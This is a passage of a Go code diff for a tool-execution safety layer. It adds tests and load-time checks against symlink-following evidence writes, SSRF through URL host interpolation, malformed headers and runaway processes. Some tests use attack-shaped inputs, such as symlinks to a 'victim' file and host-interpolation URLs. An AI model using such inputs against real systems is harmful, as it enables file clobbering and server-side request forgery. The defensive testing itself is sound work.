Evidence: &manifest.EvidenceDef{OutputDir: "{evidence_dir}/fixed", Capture: true}, + }, + Command: manifest.CommandDef{Exec: []string{"echo", "overwritten"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, nil) + if err == nil || env.Status != "error" || !strings.Contains(err.Error(), "refusing to write evidence file") { + t.Fatalf("want symlink refusal, got %+v, %v", env, err) + } + if b, _ := os.ReadFile(victim); string(b) != "original" { + t.Errorf("symlink target was written: %q", b) + } + + // The low-level writer refuses the symlink and an existing file. + if err := writeEvidenceFile(filepath.Join(fixed, "scan.txt"), []byte("x")); err == nil { + t.Error("writeEvidenceFile followed a symlink") + } + + // A symlinked output directory is refused too. + if err := os.Symlink(t.TempDir(), filepath.Join(evDir, "linkdir")); err != nil { + t.Fatal(err) + } + if err := ensurePrivateDir(filepath.Join(evDir, "linkdir")); err == nil { + t.Error("ensurePrivateDir accepted a symlink") + } +} + +func TestEvidenceCaptureWritesOutput(t *testing.T) { + evDir := t.TempDir() + t.Setenv("TOOLCLAD_EVIDENCE_DIR", evDir) + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{ + Name: "echo", Binary: "echo", TimeoutSeconds: 5, + Evidence: &manifest.EvidenceDef{Capture: true}, + }, + Command: manifest.CommandDef{Exec: []string{"echo", "kept"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + env, err := Execute(m, nil) + if err != nil { + t.Fatal(err) + } + p := filepath.Join(evDir, env.ScanID+"-echo", "scan.txt") + fi, err := os.Stat(p) + if err != nil || fi.Mode().Perm() != 0o600 { + t.Fatalf("captured file %s: %v, %v", p, fi, err) + } + if b, _ := os.ReadFile(p); strings.TrimSpace(string(b)) != "kept" { + t.Errorf("captured %q", b) + } +} + +func TestKillGraceParsing(t *testing.T) { + for v, want := range map[string]time.Duration{ + "": defaultKillGrace, + "250": 250 * time.Millisecond, + "0": 0, + "-5": defaultKillGrace, + "abc": defaultKillGrace, + "1.5": defaultKillGrace, + "2000": 2 * time.Second, + } { + t.Setenv("TOOLCLAD_KILL_GRACE_MS", v) + if got := killGrace(); got != want { + t.Errorf("TOOLCLAD_KILL_GRACE_MS=%q: got %v, want %v", v, got, want) + } + } +} + +func TestTimeoutFires(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + t.Setenv("TOOLCLAD_KILL_GRACE_MS", "200") + m := &manifest.Manifest{ + Tool: manifest.ToolMeta{Name: "sleep", Binary: "sleep", TimeoutSeconds: 1}, + Command: manifest.CommandDef{Exec: []string{"sleep", "10"}}, + Output: &manifest.OutputDef{Format: "text"}, + } + start := time.Now() + env, err := Execute(m, nil) + if elapsed := time.Since(start); elapsed > 5*time.Second { + t.Fatalf("timeout took %v", elapsed) + } + if err == nil || env.Status != "timeout" || env.ExitCode != -1 { + t.Fatalf("want timeout envelope, got %+v, %v", env, err) + } +} + +// Partial output is kept, and the tool is gone afterwards, whether it +// honors SIGTERM or ignores it (the SIGKILL after the grace period). +func TestTimeoutKeepsPartialOutputAndKills(t *testing.T) { + for _, mode := range []string{"print-sleep", "ignore-term"} { + t.Run(mode, func(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + t.Setenv("TOOLCLAD_KILL_GRACE_MS", "200") + start := time.Now() + env, err := Execute(helperManifest(1), map[string]string{"test_helper": mode}) + if elapsed := time.Since(start); elapsed > 5*time.Second { + t.Fatalf("timeout took %v", elapsed) + } + if err == nil || env.Status != "timeout" || env.ExitCode != -1 { + t.Fatalf("want timeout envelope, got %+v, %v", env, err) + } + out := rawOutput(env) + if !strings.Contains(out, "partial-line") { + t.Errorf("partial output lost: %q", out) + } + waitGone(t, childPid(t, out)) + }) + } +} + +// TC-11: a tool that exits but leaves a background child holding stdout +// must not hang the runtime until (or past) the deadline, and the leftover +// child is killed with the group. +func TestBackgroundChildHoldingStdoutDoesNotHang(t *testing.T) { + t.Setenv("TOOLCLAD_EVIDENCE_DIR", t.TempDir()) + t.Setenv("TOOLCLAD_KILL_GRACE_MS", "200") + start := time.Now() + env, err := Execute(helperManifest(5), map[string]string{"test_helper": "hold-stdout"}) + if elapsed := time.Since(start); elapsed > 4*time.Second { + t.Fatalf("Execute took %v; the held stdout pipe blocked it", elapsed) + } + if err != nil || env.Status != "success" { + t.Fatalf("want success, got %+v, %v", env, err) + } + waitGone(t, childPid(t, rawOutput(env))) +} diff --git a/go/pkg/manifest/checks.go b/go/pkg/manifest/checks.go new file mode 100644 index 0000000..82a6e31 --- /dev/null +++ b/go/pkg/manifest/checks.go @@ -0,0 +1,103 @@ +package manifest + +import ( + "fmt" + "strings" +) + +// MaxOutputMaxBytes is the largest [output] max_bytes accepted (1 GiB). +const MaxOutputMaxBytes int64 = 1073741824 + +// BuiltinParsers are the only [output] parser values the reference runtimes +// accept. +var BuiltinParsers = map[string]bool{ + "builtin:json": true, + "builtin:jsonl": true, + "builtin:csv": true, + "builtin:xml": true, + "builtin:text": true, +} + +// CheckOutput applies the load-time [output] rules: max_bytes is an integer +// in 1..=1 GiB (a non-integer already fails to decode), and parser, when +// set, names a builtin parser. A custom parser used to be ignored silently, +// so a manifest declaring one got an unparsed result it did not ask for. +func (m *Manifest) CheckOutput() error { + o := m.Output + if o == nil { + return nil + } + if o.MaxBytes != nil && (*o.MaxBytes < 1 || *o.MaxBytes > MaxOutputMaxBytes) { + return fmt.Errorf("output.max_bytes must be an integer between 1 and %d, got %d", + MaxOutputMaxBytes, *o.MaxBytes) + } + if o.Parser != "" && !BuiltinParsers[o.Parser] { + return fmt.Errorf("custom output parsers are not supported by the reference runtimes (parser = %q)", o.Parser) + } + return nil +} + +// HostPolicy applies the host / IP egress policy to the literal host (with +// optional :port) of an [http] url. The validator package registers it on +// import; this package cannot import the validator without a cycle. Nil +// skips the host policy (the structural checks still run). +var HostPolicy func(hostport string, blockInternal bool) error + +// CheckHTTP applies the load-time [http] rules: +// +// - http.url may not interpolate into the scheme or host: the host is the +// SSRF boundary and must be manifest-controlled. Everything up to the +// first "/", "?" or "#" after "://" must be literal. +// - the literal host goes through the host policy, with the non-public +// tier applied when any argument sets block_internal. +// - every header name must be an RFC 9110 token. +func (m *Manifest) CheckHTTP() error { + h := m.Http + if h == nil { + return nil + } + scheme, rest, found := strings.Cut(h.URL, "://") + authority := rest + if i := strings.IndexAny(rest, "/?#"); i >= 0 { + authority = rest[:i] + } + // Without "://" the whole value is scheme-and-host position. + if strings.ContainsAny(scheme, "{}") || strings.ContainsAny(authority, "{}") { + return fmt.Errorf("http.url may not interpolate into the scheme or host") + } + if found && authority != "" && HostPolicy != nil { + blockInternal := false + for _, def := range m.Args { + if def.BlockInternal { + blockInternal = true + break + } + } + if err := HostPolicy(authority, blockInternal); err != nil { + return fmt.Errorf("http.url host: %w", err) + } + } + for name := range h.Headers { + if !isHTTPToken(name) { + return fmt.Errorf("http.headers: header name %q is not a valid token", name) + } + } + return nil +} + +// isHTTPToken reports whether s is a non-empty RFC 9110 token. +func isHTTPToken(s string) bool { + if s == "" { + return false + } + for i := 0; i < len(s); i++ { + c := s[i] + switch { + case c >= 'a' && c <= 'z', c >= 'A' && c <= 'Z', c >= '0' && c <= '9': + case strings.IndexByte("!#$%&'*+-.^_`|~", c) >= 0: + default: + return false + } + } + return true +} diff --git a/go/pkg/manifest/checks_test.go b/go/pkg/manifest/checks_test.go new file mode 100644 index 0000000..f4c7429 --- /dev/null +++ b/go/pkg/manifest/checks_test.go @@ -0,0 +1,121 @@ +package manifest + +import ( + "strings" + "testing" +) + +func outputManifest(outputBody string) string { + return ` +[tool] +name = "echo_tool" +version = "1.0.0" +description = "echo" + +[command] +exec = ["echo", "hi"] + +[output] +format = "text" +` + outputBody +} + +func TestMaxBytesBounds(t *testing.T) { + cases := []struct { + body string + wantErr string + }{ + {"max_bytes = 1024\n", ""}, + {"max_bytes = 1\n", ""}, + {"max_bytes = 1073741824\n", ""}, + {"max_bytes = 0\n", "output.max_bytes must be an integer between 1 and 1073741824"}, + {"max_bytes = -5\n", "output.max_bytes must be an integer between 1 and 1073741824"}, + {"max_bytes = 1073741825\n", "output.max_bytes must be an integer between 1 and 1073741824"}, + {"max_bytes = 1.5\n", "parsing manifest"}, + {"max_bytes = \"big\"\n", "parsing manifest"}, + } + for _, c := range cases { + _, err := LoadManifest(writeTmp(t, outputManifest(c.body))) + if c.wantErr == "" { + if err != nil { + t.Errorf("%q: unexpected error %v", c.body, err) + } + continue + } + if err == nil || !strings.Contains(err.Error(), c.wantErr) { + t.Errorf("%q: want error containing %q, got %v", c.body, c.wantErr, err) + } + } +} + +func TestCustomParserRefused(t *testing.T) { + _, err := LoadManifest(writeTmp(t, outputManifest("parser = \"scripts/x.py\"\n"))) + want := `custom output parsers are not supported by the reference runtimes (parser = "scripts/x.py")` + if err == nil || !strings.Contains(err.Error(), want) { + t.Fatalf("want %q, got %v", want, err) + } + for p := range BuiltinParsers { + if _, err := LoadManifest(writeTmp(t, outputManifest("parser = \""+p+"\"\n"))); err != nil { + t.Errorf("%s must load: %v", p, err) + } + } +} + +func httpManifest(url, extra string) string { + return ` +[tool] +name = "http_tool" +version = "1.0.0" +description = "http" + +[args.endpoint] +type = "string" +required = true +description = "endpoint" + +[http] +method = "GET" +url = "` + url + `" +` + extra + ` +[output] +format = "text" +` +} + +func TestHTTPURLMayNotInterpolateSchemeOrHost(t *testing.T) { + const want = "http.url may not interpolate into the scheme or host" + for _, u := range []string{ + "https://{endpoint}/x", + "{endpoint}://example.com/x", + "{endpoint}", + "https://api.{endpoint}.com/x", + "https://example.com:{endpoint}/x", + "https://{_secret:host}/x", + } { + _, err := LoadManifest(writeTmp(t, httpManifest(u, ""))) + if err == nil || !strings.Contains(err.Error(), want) { + t.Errorf("%s: want %q, got %v", u, want, err) + } + } + for _, u := range []string{ + "https://api.example.com/{endpoint}", + "https://api.example.com/v1?q={endpoint}", + "https://api.example.com#{endpoint}", + } { + if _, err := LoadManifest(writeTmp(t, httpManifest(u, ""))); err != nil { + t.Errorf("%s must load: %v", u, err) + } + } +} + +func TestHTTPHeaderNameMustBeToken(t *testing.T) { + _, err := LoadManifest(writeTmp(t, httpManifest("https://api.example.com/{endpoint}", + "[http.headers]\n\"X-{endpoint}\" = \"v\"\n"))) + if err == nil || !strings.Contains(err.Error(), "is not a valid token") { + t.Fatalf("want token error, got %v", err) + } + if _, err := LoadManifest(writeTmp(t, httpManifest("https://api.example.com/{endpoint}", + "[http.headers]\nX-Trace = \"{endpoint}\"\n"))); err != nil { + t.Fatalf("token header name must load: %v", err) + } +} diff --git a/go/pkg/manifest/custom_types.go b/go/pkg/manifest/custom_types.go index 6b49ff1..e9e005a 100644 --- a/go/pkg/manifest/custom_types.go +++ b/go/pkg/manifest/custom_types.go @@ -1,12 +1,25 @@ package manifest import ( + "errors" "fmt" "os" + "path/filepath" + "reflect" + "sort" + "strings" "github.com/BurntSushi/toml" ) +// ConfigEnvVar names an explicit toolclad.toml path. When set, the file +// must be readable; discovery does not fall back to the upward search. +const ConfigEnvVar = "TOOLCLAD_CONFIG_FILE" + +// ConfigFileName is the project-level configuration file holding custom +// type definitions. +const ConfigFileName = "toolclad.toml" + // CustomTypeDef represents a custom type defined in toolclad.toml. type CustomTypeDef struct { Base string `toml:"base"` @@ -18,7 +31,16 @@ type CustomTypeDef struct { MaxFloat *float64 `toml:"max_float"` } +// projectConfig is the schema of toolclad.toml. Only [types.] tables +// are accepted; any other key is refused by the unknown-key walk. +type projectConfig struct { + Types map[string]*CustomTypeDef `toml:"types"` +} + // LoadCustomTypes reads custom type definitions from a toolclad.toml file. +// A missing file yields no custom types. A key outside the schema +// ([types.] with base, allowed, pattern, min, max, min_float, max_float) +// is refused, and so is a custom type whose base is not a built-in type. func LoadCustomTypes(path string) (map[string]*CustomTypeDef, error) { data, err := os.ReadFile(path) if err != nil { @@ -27,12 +49,128 @@ func LoadCustomTypes(path string) (map[string]*CustomTypeDef, error) { } return nil, fmt.Errorf("reading toolclad.toml: %w", err) } + return ParseCustomTypes(data, path) +} - var config struct { - Types map[string]*CustomTypeDef `toml:"types"` - } +// ParseCustomTypes parses toolclad.toml source; label names it in errors. +func ParseCustomTypes(data []byte, label string) (map[string]*CustomTypeDef, error) { + var config projectConfig if err := toml.Unmarshal(data, &config); err != nil { - return nil, fmt.Errorf("parsing toolclad.toml: %w", err) + return nil, fmt.Errorf("parsing %s: %w", label, err) + } + var raw map[string]any + if err := toml.Unmarshal(data, &raw); err != nil { + return nil, fmt.Errorf("parsing %s: %w", label, err) + } + // Same reflection walk as the manifest (not MetaData.Undecoded()). + var unknown []string + walkUnknownKeys(reflect.TypeOf(projectConfig{}), raw, nil, &unknown) + // A [types] entry that is not a table would decode to nothing silently. + if types, ok := raw["types"].(map[string]any); ok { + for name, v := range types { + if _, isTable := v.(map[string]any); !isTable { + unknown = append(unknown, "types."+name) + } + } + } + if len(unknown) > 0 { + sort.Strings(unknown) + msgs := make([]string, len(unknown)) + for i, k := range unknown { + msgs[i] = fmt.Sprintf("unknown key '%s' in toolclad.toml", k) + } + return nil, fmt.Errorf("%s: %s", label, strings.Join(msgs, "; ")) + } + names := make([]string, 0, len(config.Types)) + for name := range config.Types { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + ct := config.Types[name] + // A custom type may not reuse a built-in name: [types.url] with + // base = "string" would otherwise replace the url validator. + if builtinTypes[name] { + return nil, fmt.Errorf("%s: custom type '%s' shadows a built-in type", label, name) + } + if ct == nil || !builtinTypes[ct.Base] { + base := "" + if ct != nil { + base = ct.Base + } + return nil, fmt.Errorf("%s: custom type '%s' has invalid base type '%s' (must be a built-in type)", + label, name, base) + } } return config.Types, nil } + +// DiscoverCustomTypes finds and loads the project toolclad.toml the way the +// scope file is found: TOOLCLAD_CONFIG_FILE if set (unreadable is an error), +// else toolclad.toml searched upward from dir (the working directory when +// dir is empty) to the filesystem root. Not finding one yields no custom +// types and no error. +func DiscoverCustomTypes(dir string) (map[string]*CustomTypeDef, error) { + if p := os.Getenv(ConfigEnvVar); p != "" { + data, err := os.ReadFile(p) + if err != nil { + return nil, fmt.Errorf("%s: reading %s: %w", ConfigEnvVar, p, err) + } + return ParseCustomTypes(data, p) + } + if dir == "" { + dir = "." + } + dir, err := filepath.Abs(dir) + if err != nil { + return nil, fmt.Errorf("resolving toolclad.toml search directory: %w", err) + } + for { + candidate := filepath.Join(dir, ConfigFileName) + info, statErr := os.Stat(candidate) + switch { + case statErr == nil && !info.IsDir(): + return LoadCustomTypes(candidate) + case statErr != nil && !errors.Is(statErr, os.ErrNotExist): + return nil, fmt.Errorf("checking %s: %w", candidate, statErr) + } + parent := filepath.Dir(dir) + if parent == dir { + return nil, nil + } + dir = parent + } +} + +// checkArgTypes refuses any argument whose type is neither a built-in nor +// one of the manifest's custom types. Arguments are visited in name order. +func (m *Manifest) checkArgTypes() error { + all := m.allArgDefs() + names := make([]string, 0, len(all)) + for name := range all { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + t := all[name].Type + if t == "" { + t = "string" + } + if builtinTypes[t] { + continue + } + if _, ok := m.CustomTypes[t]; !ok { + return fmt.Errorf("unknown type '%s' for argument '%s'", t, name) + } + } + return nil +} + +// BaseType resolves t through the manifest's custom types: a custom type's +// base, else t itself. +func (m *Manifest) BaseType(t string) string { + if ct, ok := m.CustomTypes[t]; ok { + return ct.Base + } + return t +} diff --git a/go/pkg/manifest/fuzz_test.go b/go/pkg/manifest/fuzz_test.go new file mode 100644 index 0000000..5c6e0bc --- /dev/null +++ b/go/pkg/manifest/fuzz_test.go @@ -0,0 +1,58 @@ +package manifest_test + +import ( + "encoding/json" + "io" + "os" + "path/filepath" + "testing" + + "github.com/thirdkeyai/toolclad/pkg/manifest" + "github.com/thirdkeyai/toolclad/pkg/scope" + // Registers the load-time hooks (defaults validator, host policy) so + // the fuzzer drives the loader exactly as the CLI does. + _ "github.com/thirdkeyai/toolclad/pkg/validator" +) + +// FuzzLoadManifest checks that the strict string loader never panics on +// arbitrary source and never returns a nil manifest without an error. The +// seed corpus is every manifest of the shared injection-vector suite. +// Custom types are fixed (empty) so discovery never reads a toolclad.toml, +// and a declared default is validated with block_internal cleared so an +// invented hostname default never triggers a DNS lookup (the load-time +// [http] host check never resolves names). +func FuzzLoadManifest(f *testing.F) { + f.Add("[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"d\"\n\n" + + "[args.v]\nposition = 1\ntype = \"string\"\n\n[command]\nexec = [\"echo\", \"{v}\"]\n\n[output]\nformat = \"text\"\n") + data, err := os.ReadFile(filepath.Join("..", "..", "..", "tests", "injection_vectors.json")) + if err == nil { + var vectors struct { + ManifestVectors []struct { + Manifest string `json:"manifest"` + } `json:"manifest_vectors"` + } + if err := json.Unmarshal(data, &vectors); err != nil { + f.Fatalf("parsing injection_vectors.json: %v", err) + } + for _, v := range vectors.ManifestVectors { + f.Add(v.Manifest) + } + } + prev := manifest.WarningOutput + manifest.WarningOutput = io.Discard + f.Cleanup(func() { manifest.WarningOutput = prev }) + realDefault := manifest.DefaultValidator + manifest.DefaultValidator = func(def *manifest.ArgDef, value string, ct map[string]*manifest.CustomTypeDef, sc *scope.ScopeDef) error { + d := *def + d.BlockInternal = false + return realDefault(&d, value, ct, sc) + } + f.Cleanup(func() { manifest.DefaultValidator = realDefault }) + opts := manifest.LoadOptions{CustomTypes: map[string]*manifest.CustomTypeDef{}} + f.Fuzz(func(t *testing.T, src string) { + m, err := manifest.LoadManifestFromStringWithOptions(src, opts) + if err == nil && m == nil { + t.Fatal("nil manifest without an error") + } + }) +} diff --git a/go/pkg/manifest/manifest.go b/go/pkg/manifest/manifest.go index a9085a3..fd825d8 100644 --- a/go/pkg/manifest/manifest.go +++ b/go/pkg/manifest/manifest.go @@ -2,13 +2,31 @@ package manifest import ( + "errors" "fmt" + "io" "os" + "path/filepath" + "reflect" + "regexp" "sort" + "strings" + "unicode" "github.com/BurntSushi/toml" + + "github.com/thirdkeyai/toolclad/pkg/scope" ) +// The manifest structs below ARE the key allowlist. Every key a .clad.toml +// may contain is a tagged field on one of them, and loading refuses any key +// without a field (see unknownKeys, which reads these tags by reflection). +// The tagged fields must match the "Complete key allowlist" in SEMANTICS.md +// section W2 exactly, section by section; add a key there before adding a +// field here. A map-typed field whose values are not structs ([command] +// defaults and mappings, [output] schema, [http] headers, [mcp] field_map) +// is an open map: its keys are the author's to choose and are not checked. + // CedarDef holds Cedar policy integration metadata. type CedarDef struct { Resource string `toml:"resource"` @@ -20,26 +38,56 @@ type EvidenceDef struct { OutputDir string `toml:"output_dir"` Capture bool `toml:"capture"` Hash string `toml:"hash"` + // Screenshots requests screenshot capture for browser-mode tools. + // Registered as a known key; capture itself is not implemented here. + Screenshots bool `toml:"screenshots"` +} + +// ToolLimitsDef holds the optional [tool.limits] resource ceilings for the +// child process. Nil means "no limit requested" for each field. Registered as +// known keys. The Go runtime cannot set resource limits on a child process +// portably (os/exec has no pre-exec hook), so these are not enforced here. +type ToolLimitsDef struct { + Nproc *int64 `toml:"nproc"` + Nofile *int64 `toml:"nofile"` + FsizeBytes *int64 `toml:"fsize_bytes"` + AddressSpaceBytes *int64 `toml:"address_space_bytes"` + CPUSeconds *int64 `toml:"cpu_seconds"` } // ToolMeta holds the top-level [tool] section metadata. type ToolMeta struct { - Name string `toml:"name"` - Version string `toml:"version"` - Binary string `toml:"binary"` - Description string `toml:"description"` - TimeoutSeconds int `toml:"timeout_seconds"` - RiskTier string `toml:"risk_tier"` - HumanApproval bool `toml:"human_approval"` + Name string `toml:"name"` + Version string `toml:"version"` + Binary string `toml:"binary"` + Description string `toml:"description"` + TimeoutSeconds int `toml:"timeout_seconds"` + RiskTier string `toml:"risk_tier"` + HumanApproval bool `toml:"human_approval"` // Dispatch mode: "exec" (default) runs an execution backend; "callback" // declares the manifest as validator-only — no [output] block or backend // is required. Useful for in-process embeddings where ToolClad is the // typed-argument fence and dispatch happens elsewhere. - Dispatch string `toml:"dispatch"` - Cedar *CedarDef `toml:"cedar"` - Evidence *EvidenceDef `toml:"evidence"` + Dispatch string `toml:"dispatch"` + // Mode is advisory: "oneshot", "session", or "browser". When absent it + // is derived at load from which backend section is present. + Mode string `toml:"mode"` + // NetworkEgress declares that the tool reaches a network destination + // taken from its arguments. It makes the manifest an egress manifest + // for LintEgress regardless of which binary the command names. + NetworkEgress bool `toml:"network_egress"` + // AllowInterpreter permits argv[0] to be a shell or language + // interpreter (see InterpreterBasenames). Off by default: a load-time + // check refuses an interpreter as argv[0] unless this is set. + AllowInterpreter bool `toml:"allow_interpreter"` + Cedar *CedarDef `toml:"cedar"` + Evidence *EvidenceDef `toml:"evidence"` + Limits *ToolLimitsDef `toml:"limits"` } +// ToolModes are the accepted values of [tool] mode. +var ToolModes = []string{"oneshot", "session", "browser"} + // ArgDef defines a single tool argument from [args.*]. type ArgDef struct { Name string `toml:"-"` @@ -53,42 +101,71 @@ type ArgDef struct { Min *int `toml:"min"` Max *int `toml:"max"` // Float bounds for `number` type. Fall back to Min/Max cast to float64 when nil. - MinFloat *float64 `toml:"min_float"` - MaxFloat *float64 `toml:"max_float"` - Clamp bool `toml:"clamp"` - Sanitize []string `toml:"sanitize"` - Schemes []string `toml:"schemes"` - ScopeCheck bool `toml:"scope_check"` + MinFloat *float64 `toml:"min_float"` + MaxFloat *float64 `toml:"max_float"` + Clamp bool `toml:"clamp"` + Sanitize []string `toml:"sanitize"` + Schemes []string `toml:"schemes"` + ScopeCheck bool `toml:"scope_check"` + // BlockInternal rejects loopback, private, CGNAT, unspecified, + // broadcast, documentation, benchmarking and reserved targets for the + // network-typed arguments (scope_target, url, ip_address, cidr). The + // link-local / cloud-metadata ranges are refused regardless of this + // flag. The range table lives in validator/hostpolicy.go. + BlockInternal bool `toml:"block_internal"` + // AllowLeadingDash permits a value that starts with '-' or '+'. Off by + // default so a user value can never be parsed as an option by the tool. + AllowLeadingDash bool `toml:"allow_leading_dash"` + // AllowWhitespace permits whitespace inside a value. Honored only when the + // manifest declares `exec = [...]` directly, because only then is a value + // guaranteed to stay a single argv element. + AllowWhitespace bool `toml:"allow_whitespace"` } // ConditionalDef represents a conditional command fragment. type ConditionalDef struct { When string `toml:"when"` Template string `toml:"template"` + // Tokens is Template tokenized at load. The tokens still contain + // placeholders; they are substituted individually at build time. + Tokens []string `toml:"-"` } // CommandDef holds the [command] section. // -// Supports two invocation forms: -// - exec = ["cmd", "arg1", "{placeholder}"] — preferred, shell-free array execution -// - template = "cmd arg1 {placeholder}" — legacy string template (split via shlex) -// -// When both are present, exec takes precedence. +// `exec` (an argv array) is the canonical internal form. `template` is legacy +// sugar: at load it is tokenized into Exec with TokenizeTemplate and a +// deprecation warning is printed. When both are present, exec is used as-is. type CommandDef struct { - Template string `toml:"template"` - Exec []string `toml:"exec"` - Executor string `toml:"executor"` - Defaults map[string]any `toml:"defaults"` - Mappings map[string]map[string]string `toml:"mappings"` - Conditionals map[string]ConditionalDef `toml:"conditionals"` + Template string `toml:"template"` + Exec []string `toml:"exec"` + Executor string `toml:"executor"` + Defaults map[string]any `toml:"defaults"` + Mappings map[string]map[string]string `toml:"mappings"` + Conditionals map[string]ConditionalDef `toml:"conditionals"` + // EndOfOptions, when set to "--", inserts a literal "--" before the first + // argv token produced from a user-argument placeholder. + EndOfOptions string `toml:"end_of_options"` + // ExecWasDeclared is true only when the manifest itself declared `exec`. + // A template compiled into Exec leaves it false, which keeps the stricter + // template-mode validation rules in force for that manifest. + ExecWasDeclared bool `toml:"-"` } +// DefaultOutputMaxBytes is the [output] max_bytes value used when the +// manifest does not set one (8 MiB). +const DefaultOutputMaxBytes int64 = 8388608 + // OutputDef holds the [output] section. type OutputDef struct { Format string `toml:"format"` Parser string `toml:"parser"` Envelope *bool `toml:"envelope"` Schema map[string]any `toml:"schema"` + // MaxBytes caps captured tool output. Nil means DefaultOutputMaxBytes; + // use MaxBytesLimit. Checked at load (CheckOutput) and enforced on + // stdout and stderr each, and on an HTTP response body. + MaxBytes *int64 `toml:"max_bytes"` } // EnvelopeEnabled returns whether the evidence envelope is enabled (default true). @@ -99,6 +176,14 @@ func (o *OutputDef) EnvelopeEnabled() bool { return *o.Envelope } +// MaxBytesLimit returns the output cap, defaulting to DefaultOutputMaxBytes. +func (o *OutputDef) MaxBytesLimit() int64 { + if o.MaxBytes == nil { + return DefaultOutputMaxBytes + } + return *o.MaxBytes +} + // HttpDef holds the [http] section for HTTP-based tool execution. type HttpDef struct { Method string `toml:"method"` @@ -126,6 +211,16 @@ type SessionDef struct { MaxInteractions int `toml:"max_interactions"` Interaction *SessionInteractionDef `toml:"interaction"` Commands map[string]SessionCommandDef `toml:"commands"` + ChildDetection *SessionChildDetectionDef `toml:"child_detection"` +} + +// SessionChildDetectionDef describes how a session recognizes a child +// process it spawns and which manifest governs it. Registered as known keys; +// detection is not implemented here. +type SessionChildDetectionDef struct { + Pattern string `toml:"pattern"` + Type string `toml:"type"` + Manifest string `toml:"manifest"` } // SessionInteractionDef holds session interaction constraints. @@ -158,6 +253,12 @@ type BrowserDef struct { Scope *BrowserScopeDef `toml:"scope"` Commands map[string]BrowserCommandDef `toml:"commands"` State *BrowserStateDef `toml:"state"` + Defaults *BrowserDefaultsDef `toml:"defaults"` +} + +// BrowserDefaultsDef holds per-command defaults for browser mode. +type BrowserDefaultsDef struct { + ExtractMode string `toml:"extract_mode"` } // BrowserScopeDef defines domain scope restrictions for browser mode. @@ -193,8 +294,126 @@ type Manifest struct { Session *SessionDef `toml:"session"` Browser *BrowserDef `toml:"browser"` SourcePath string `toml:"-"` + // Scope is the project scope consulted by arguments that set + // scope_check = true. LoadManifest discovers it once (see EnsureScope) + // when any argument needs it; an embedder may set it directly. Nil + // with scope_check set is a fail-closed refusal at validation. + Scope *scope.ScopeDef `toml:"-"` + // CustomTypes are the custom argument types from the project + // toolclad.toml, discovered at load (see DiscoverCustomTypes) or + // supplied through LoadOptions.CustomTypes. Every argument type is a + // built-in or a key of this map; the validated-argument path resolves + // custom types through it. + CustomTypes map[string]*CustomTypeDef `toml:"-"` + + compiled bool + scopeResolved bool +} + +// scopeCheckTypes are the argument types on which scope_check is honored. +var scopeCheckTypes = map[string]bool{ + "scope_target": true, + "url": true, + "ip_address": true, + "cidr": true, +} + +// builtinTypes are the built-in argument types. Any other type name is a +// custom type from toolclad.toml, resolved by the validator package. +var builtinTypes = map[string]bool{ + "string": true, "integer": true, "number": true, "port": true, + "boolean": true, "enum": true, "scope_target": true, "url": true, + "path": true, "ip_address": true, "cidr": true, "msf_options": true, + "credential_file": true, "duration": true, "regex_match": true, +} + +// ScopeCheckSupported reports whether scope_check is honored on the +// built-in type t (scope_target, url, ip_address, cidr). +func ScopeCheckSupported(t string) bool { + return scopeCheckTypes[t] +} + +// UsesScopeCheck reports whether any argument sets scope_check = true. +func (m *Manifest) UsesScopeCheck() bool { + for _, def := range m.allArgDefs() { + if def.ScopeCheck { + return true + } + } + return false +} + +// EnsureScope discovers the scope file once per manifest when an argument +// sets scope_check and Scope was not set by the caller: TOOLCLAD_SCOPE_FILE, +// else scope/scope.toml searched upward from the manifest's directory (the +// working directory for a manifest built in memory). Not finding a file is +// not an error here; validation then refuses fail-closed. A scope file that +// exists but cannot be read or parsed is an error. +func (m *Manifest) EnsureScope() error { + if m.Scope != nil || m.scopeResolved || !m.UsesScopeCheck() { + return nil + } + dir := "" + if m.SourcePath != "" { + dir = filepath.Dir(m.SourcePath) + } + s, err := scope.Discover(dir) + if err != nil { + return err + } + m.Scope = s + m.scopeResolved = true + return nil } +// checkArgDefs applies the per-argument load-time rules: scope_check only +// on a type that supports it, and every declared default valid for its own +// argument (through DefaultValidator, when one is registered). +func (m *Manifest) checkArgDefs() error { + all := m.allArgDefs() + names := make([]string, 0, len(all)) + for name := range all { + names = append(names, name) + } + sort.Strings(names) + for _, name := range names { + def := all[name] + t := def.Type + if t == "" { + t = "string" + } + // A custom type is checked by its base type. + t = m.BaseType(t) + if def.ScopeCheck && builtinTypes[t] && !scopeCheckTypes[t] { + return fmt.Errorf("argument '%s': scope_check is not supported for type '%s'", name, t) + } + } + if DefaultValidator == nil { + return nil + } + for _, name := range names { + def := all[name] + if def.Default == nil { + continue + } + val := fmt.Sprintf("%v", def.Default) + if base := m.BaseType(def.Type); val == "" && (base == "string" || base == "") { + continue // an empty string default is always acceptable + } + if err := DefaultValidator(def, val, m.CustomTypes, m.Scope); err != nil { + return fmt.Errorf("argument '%s': invalid default %q: %w", name, val, err) + } + } + return nil +} + +// DefaultValidator validates a declared per-argument default at load. The +// validator package registers its strict entry point here on import (this +// package cannot import it without a cycle). customTypes resolves an +// argument of a custom type to its base type and merged constraints. Nil +// disables the check. +var DefaultValidator func(def *ArgDef, value string, customTypes map[string]*CustomTypeDef, s *scope.ScopeDef) error + // ArgsSorted returns the argument definitions sorted by position. func (m *Manifest) ArgsSorted() []*ArgDef { args := make([]*ArgDef, 0, len(m.Args)) @@ -218,22 +437,695 @@ func (m *Manifest) RequiredArgs() []*ArgDef { return result } -// LoadManifest parses a .clad.toml file and returns a Manifest. +// InjectedVars are the single-token variables the executor provides on every +// run, in addition to declared args and [command.defaults]. +var InjectedVars = []string{"_scan_id", "_output_file", "_evidence_dir"} + +// TemplateDeprecationWarning is printed once per load of a manifest that +// still uses [command] template. +const TemplateDeprecationWarning = "warning: [command] template is deprecated and will be removed in the next minor release; use exec = [...]" + +// WarningOutput receives load-time warnings. Defaults to stderr. +var WarningOutput io.Writer = os.Stderr + +// placeholderRe drives the single left-to-right substitution pass: `{{` and +// `}}` are escapes for literal braces and are never placeholders; `{name}` is +// a placeholder. +var placeholderRe = 